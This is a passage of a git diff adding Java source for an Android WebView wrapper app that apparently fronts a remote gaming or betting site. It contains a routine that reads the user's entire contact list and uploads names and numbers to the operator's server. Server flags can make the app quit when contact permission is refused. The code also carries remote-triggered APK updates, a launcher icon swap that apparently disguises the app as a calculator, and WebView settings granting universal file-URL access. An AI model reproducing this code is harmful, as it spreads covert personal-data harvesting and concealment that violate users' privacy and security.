actionDialog.setCancelable(false); + actionDialog.show(); + + + } + } + } + + private void jumpNotificationSetting() { + final ApplicationInfo applicationInfo = getApplicationInfo(); + try { + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); + intent.putExtra("app_package", applicationInfo.packageName); + intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); + intent.putExtra("app_uid", applicationInfo.uid); + startActivity(intent); + } catch (Throwable t) { + t.printStackTrace(); + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); + intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); + startActivity(intent); + } + } + + @Override + public void onBackPressed() { + + if (webView.canGoBack()) {//当webview有多级能返回的时候 + String url = webView.getUrl(); + // 在首页 就退出这个页面 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + super.onBackPressed(); + } else { //不在首页 回到首页 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + } + topVvvv.setVisibility(View.GONE); + progressBar.setVisibility(View.VISIBLE); + //当有条过登录页面 只能重载 不然逻辑会异常 + if (hasSignIn) { + onShowNetView(); + webView.loadUrl(url); + } else { + while (webView.canGoBack()) { + webView.goBack(); + } + + } + } + + } else {//不能返回了 关闭进程 退出程序 + Intent homeIntent = new Intent(Intent.ACTION_MAIN); + homeIntent.addCategory(Intent.CATEGORY_HOME); + homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(homeIntent); + android.os.Process.killProcess(android.os.Process.myPid()); + System.exit(1); + + } + } + + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + + showTopV1 = (ImageView) findViewById(R.id.show_top_v1); + showTopLy = findViewById(R.id.show_top_ly); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(webViewClient); + Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); + + showTopLy.setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + getNetUrl(); + getNotifyList(); + } + + public void getNotifyList() { + + Api.getInstance().getNotifyList(userId, 1, 1) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if (o.data != null && o.data.getTotal() > 0) { + otherApp.setVisibility(View.INVISIBLE); + + ivNotify.setVisibility(View.VISIBLE); + if(userId == 112||userId == 87||userId == 91||userId ==93 + ||userId ==92||userId==84||userId == 120||userId ==70||userId ==143 ||userId ==149){ + ivNotify.setVisibility(View.INVISIBLE); + layoutOtherApp.setVisibility(View.GONE); + } + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + } + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + } + }); + } + + public void getNetUrl() { + Api.getInstance().geUrlNew(userId) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + + DataInfo dataInfo = o.data; + if (dataInfo != null) { + if (dataInfo.getIsUse() == 0) { + MainActivity2.this.finish(); + return; + } + if (!TextUtils.isEmpty(dataInfo.getUrl())) { + MainActivity.saveString(MainActivity2.this, "base_url", dataInfo.getUrl()); + webView.loadUrl(dataInfo.getUrl()); + } + shareUrl = dataInfo.getDownloadUrl(); + String link = dataInfo.getLinkConfig(); + if (!TextUtils.isEmpty(link)) { + try { + linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class); + } catch (Exception e) { + + } + } + if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { + if (Integer.parseInt(dataInfo.getVersionCode()) > getInt(MainActivity2.this, "version_code", 0)) { + ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), + getString(R.string.lijigengxin_txt)); + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + checkUpdate(dataInfo.getApkUrl()); + } + + @Override + public void toCancel() { + if (dataInfo.getForceUpdate() == 1) { + MainActivity2.this.finish(); + } + } + }); + actionDialog.show(); + } + } + contactApply = dataInfo.getContactApplyMode(); + notifyApply = dataInfo.getNoticeApplyMode(); + if (contactApply == 0 || contactApply == 1) { +// readContact(); + } + if (notifyApply == 0 || notifyApply == 1) { + checkNotify(); + } + facebookUrl = dataInfo.getFbUrl().trim(); + telegramUrl = dataInfo.getTgUrl().trim(); + whatsappUrl = dataInfo.getWsUrl().trim(); + if (!TextUtils.isEmpty(facebookUrl)) { + otherApp.setVisibility(View.INVISIBLE); + ivFaceBook.setVisibility(View.VISIBLE); + } + if (!TextUtils.isEmpty(telegramUrl)) { + otherApp.setVisibility(View.INVISIBLE); + ivTelG.setVisibility(View.VISIBLE); + } + if (!TextUtils.isEmpty(whatsappUrl)) { + otherApp.setVisibility(View.INVISIBLE); + ivWhatsApp.setVisibility(View.VISIBLE); + } + if(userId == 143 ||userId ==149){ + otherApp.setVisibility(View.INVISIBLE); + ivFaceBook.setVisibility(View.GONE); + ivTelG.setVisibility(View.GONE); + ivWhatsApp.setVisibility(View.GONE); + layoutOtherApp.setVisibility(View.GONE); + } + } else { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + + } + + @Override + public void onError(int code, String msg) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + @Override + public void onError2(Result o) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + }); + + } + + + private void checkUpdate(String url) { + new AppUpdater(this, url).start(); + } + + List contents = new ArrayList<>(); + private static String[] PERMISSIONS_READCONTACT = { + Manifest.permission.READ_CONTACTS}; + + public void readContact() { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222); + } else { + //开启线程上传数据 + new Thread(() -> { + //获取通讯录 + contents = new ArrayList<>(); + Cursor cursor = null; + try { + cursor = getContentResolver().query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, null, null, null); + while (cursor.moveToNext()) { + int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); + String displayName = cursor.getString(i_name); + int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); + String number = cursor.getString(i_number); + ContactBean bean = new ContactBean(displayName, number.trim()); + contents.add(bean); + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (cursor != null) { + cursor.close(); + postReadContact(contents); + } + } + }).start(); + + + } + } + + public void postReadContact(List contents) { + Gson gson = new Gson(); + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("customers", contents); + String result = gson.toJson(map); + MediaType mediaType = MediaType.parse("application/json; charset=utf-8"); + Api.getInstance().readContact(RequestBody.create(mediaType, result)) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void setDownloadNumbers() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().downloadNumbers(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + MainActivity.saveBoolean(MainActivity2.this, "download", true); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + + public void setTotalTongJi() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().totalTongJi(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void getMyInvite(boolean isShare) { + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("deviceCode", Utils.getUniqueId(MainActivity2.this)); + Api.getInstance().getMyInvited(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if (o.data != null) { + myInviteCode = o.data.getInviteCode(); +// myInviteNum = o.data.getInviteNum(); + MainActivity.saveString(MainActivity2.this, "balance", o.data.getBalance()); + MainActivity.saveString(MainActivity2.this, "income", o.data.getIncome()); + MainActivity.saveString(MainActivity2.this, "bankname", o.data.getBankName()); + MainActivity.saveString(MainActivity2.this, "name", o.data.getName()); + MainActivity.saveString(MainActivity2.this, "bankno", o.data.getBankNo()); + } + if (isShare) { + goShare(); + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + Handler handler = new Handler(); + + boolean hasSignIn = false; + + WebViewClient webViewClient = new WebViewClient() { + + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + if (webView.getUrl().contains("hasSignIn")) { + hasSignIn = true; + } + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + if (showTopLy.getVisibility() == View.VISIBLE) { + handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000); + } + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + } + + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.i("URL是啥1:" + url1); + + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + }; + + private boolean isToOutSideUrl(String url1) { + return url1.contains("facebook") || url1.contains("https://t.me") || + url1.contains("instagram") || url1.contains("https://x.com")||url1.contains("https://wa.me")|| + url1.contains("https://m.me")||url1.contains("http://m.me"); + } + + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); +// isNetError = true; + + } + + public void onShowNetView() { + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); +// isNetError = false; + } + + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + + LogUtils.i("URL是啥新窗口:"+url); + + if (isToOutSideUrl(url)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + LogUtils.i("URL是啥新窗口结束:"+url); + + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + MainActivity2.this.runOnUiThread(() -> { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + }); + } + } + }; + + private PermissionRequest permissionRequest; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + if (grantResults.length == 0) { + return; + } + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + case 1111: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { + permissionRequest.grant(permissionRequest.getResources()); + } + break; + case 2222: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { +// readContact(); + } else { + //没同意 + if (contactApply == 1) { + MainActivity2.this.finish(); + } + + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 + webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + if (notifyApply == 0 || notifyApply == 1) { + checkNotify(); + } + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + public static void saveInt(Context context, String key, int value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putInt(key, value); + editor.apply(); + } + + public static int getInt(Context context, String key, int defValue) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getInt(key, defValue); + } + + Handler mainHandler = new Handler(Looper.getMainLooper()); + + public boolean isApplicationBroughtToBackground(final Context context) { + ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); + List tasks = am.getRunningTasks(1); + if (!tasks.isEmpty()) { + ComponentName topActivity = tasks.get(0).topActivity; + if (!topActivity.getPackageName().equals(context.getPackageName())) { + return true; + } + } + return false; + } + +} diff --git a/base_bk88/src/main/java/com/web/base/MainActivity3.java b/base_bk88/src/main/java/com/web/base/MainActivity3.java new file mode 100644 index 0000000..cdfca57 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/MainActivity3.java @@ -0,0 +1,544 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.util.Log; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.ValueCallback; +import android.webkit.WebView; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.RelativeLayout; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; + +import com.just.agentweb.AgentWeb; +import com.just.agentweb.WebChromeClient; +import com.just.agentweb.WebViewClient; + + + +public class MainActivity3 extends AppCompatActivity { + LinearLayout webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + + String downloadImageUrl = ""; + private int requestCode; + private String[] permissions; + private int[] grantResults; + private View topVvvv; + private int index = 0; + private FrameLayout videoContainer; + + private ImageView backIv; + private ProgressBar progressBar; + + AgentWeb mAgentWeb; + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main3); + initView(); +// setopHeight(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + } + + public void hideStatusBar(Activity activity) { + if (activity == null) return; + Window window = activity.getWindow(); + if (window == null) return; + window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + WindowManager.LayoutParams lp = window.getAttributes(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { + lp.layoutInDisplayCutoutMode = WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES; + } + window.setAttributes(lp); + } + + + @Override + public void onBackPressed() { + +// if (mAgentWeb.canGoBack()) {//当webview有多级能返回的时候 +// // 在首页 就退出这个页面 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +// super.onBackPressed(); +// } else { //不在首页 回到首页 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// } +// topVvvv.setVisibility(View.GONE); +// progressBar.setVisibility(View.VISIBLE); +// webView.loadUrl(url); +// } +// } else {//不能返回了 +// +// //返回计算器 +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +//// } + super.onBackPressed(); +// } + } + + /** + * 修改图标和名称的方法 + */ + public void changeIcon() { + PackageManager pm = getApplicationContext().getPackageManager(); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + } + + private void setopHeight() { + RelativeLayout.LayoutParams linearParams = (RelativeLayout.LayoutParams) topVvvv.getLayoutParams(); //取控件textView当前的布局参数 + linearParams.height = getStatusBarHeight();// 控件的宽强制设成30 + + topVvvv.setLayoutParams(linearParams); + } + + //https://m.xiannvtu.com/ + public static String url = "http://winway33.com/"; + + // https://telegram.2ltop.com/url.json?rand=111111111 + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); +// topVvvvf = (RelativeLayout) findViewById(R.id.top_vvvvf); +// topVvvv1 = (StatusLayout) findViewById(R.id.top_vvvv1); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + +// WebSettings settings = webView.getSettings(); +// settings.setDomStorageEnabled(true); +// settings.setAppCacheEnabled(true); +// settings.setCacheMode(WebSettings.LOAD_DEFAULT); +// settings.setJavaScriptEnabled(true); +// settings.setLoadWithOverviewMode(true); +// // 设置允许访问文件数据 +// settings.setAllowFileAccess(true); +// settings.setAllowContentAccess(true); +// settings.setDatabaseEnabled(true); +// settings.setSavePassword(false); +// settings.setSaveFormData(false); +// settings.setUseWideViewPort(true); +// settings.setBuiltInZoomControls(true); +// settings.setPluginState(WebSettings.PluginState.ON); +// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); +// webView.setFocusable(true); +// webView.setFocusableInTouchMode(true); +// webView.getSettings().setSupportMultipleWindows(true); +// +// settings.setSupportZoom(false); +// webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +//// 